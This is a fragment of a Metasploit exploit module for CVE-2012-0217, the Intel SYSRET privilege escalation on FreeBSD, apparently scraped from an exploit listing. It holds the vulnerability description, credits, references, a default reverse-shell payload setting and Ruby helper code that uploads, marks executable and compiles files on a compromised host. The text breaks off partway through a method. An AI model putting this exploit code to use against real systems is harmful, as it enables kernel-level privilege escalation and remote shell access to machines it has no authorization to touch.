FreeBSD – Intel SYSRET Privilege Escalation (Metasploit)

By design, 64-bit processors following the X86-64 specification will trigger a general protection fault (GPF) when executing a SYSRET instruction with a non-canonical address in the RCX register. However, Intel processors check for a non-canonical address prior to dropping privileges, causing a GPF in privileged mode. As a result, the current userland RSP stack pointer is restored and executed, resulting in privileged code execution. This module has been tested successfully on: FreeBSD 8.3-RELEASE (amd64); and FreeBSD 9.0-RELEASE (amd64). }, 'License' => MSF_LICENSE, 'Author' => [ 'Rafal Wojtczuk', # Discovery 'John Baldwin', # Discovery 'iZsh', # Exploit 'bcoles' # Metasploit ], 'DisclosureDate' => '2012-06-12', 'Platform' => ['bsd'], 'Arch' => [ARCH_X64], 'SessionTypes' => ['shell'], 'References' => [ ['BID', '53856'], ['CVE', '2012-0217'], ['EDB', '28718'], ['PACKETSTORM', '113584'], ['URL', 'https://www.freebsd.org/security/patches/SA-12:04/sysret.patch'], ['URL', 'https://blog.xenproject.org/2012/06/13/the-intel-sysret-privilege-escalation/'], ['URL', 'https://github.com/iZsh/exploits/blob/master/stash/CVE-2012-0217-sysret/CVE-2012-0217-sysret_FreeBSD.c'], ['URL', 'https://fail0verflow.com/blog/2012/cve-2012-0217-intel-sysret-freebsd/'], ['URL', 'http://security.freebsd.org/advisories/FreeBSD-SA-12:04.sysret.asc'], ['URL', 'https://www.slideshare.net/nkslides/exploiting-the-linux-kernel-via-intels-sysret-implementation'] ], 'Targets' => [ ['Automatic', {}] ], 'DefaultOptions' => { 'PAYLOAD' => 'bsd/x64/shell_reverse_tcp' }, 'DefaultTarget' => 0)) register_advanced_options [ OptBool.new('ForceExploit', [false, 'Override check result', false]), OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp']) ] end def base_dir datastore['WritableDir'].to_s end def upload(path, data) print_status "Writing '#{path}' (#{data.size} bytes) ..." rm_f path write_file path, data register_file_for_cleanup path end def upload_and_chmodx(path, data) upload path, data cmd_exec "chmod +x '#{path}'" end def upload_and_compile(path, data, gcc_args='') upload "#{path}.c", data gcc_cmd = "gcc -o #{path} #{path}.c" if session.type.eql?
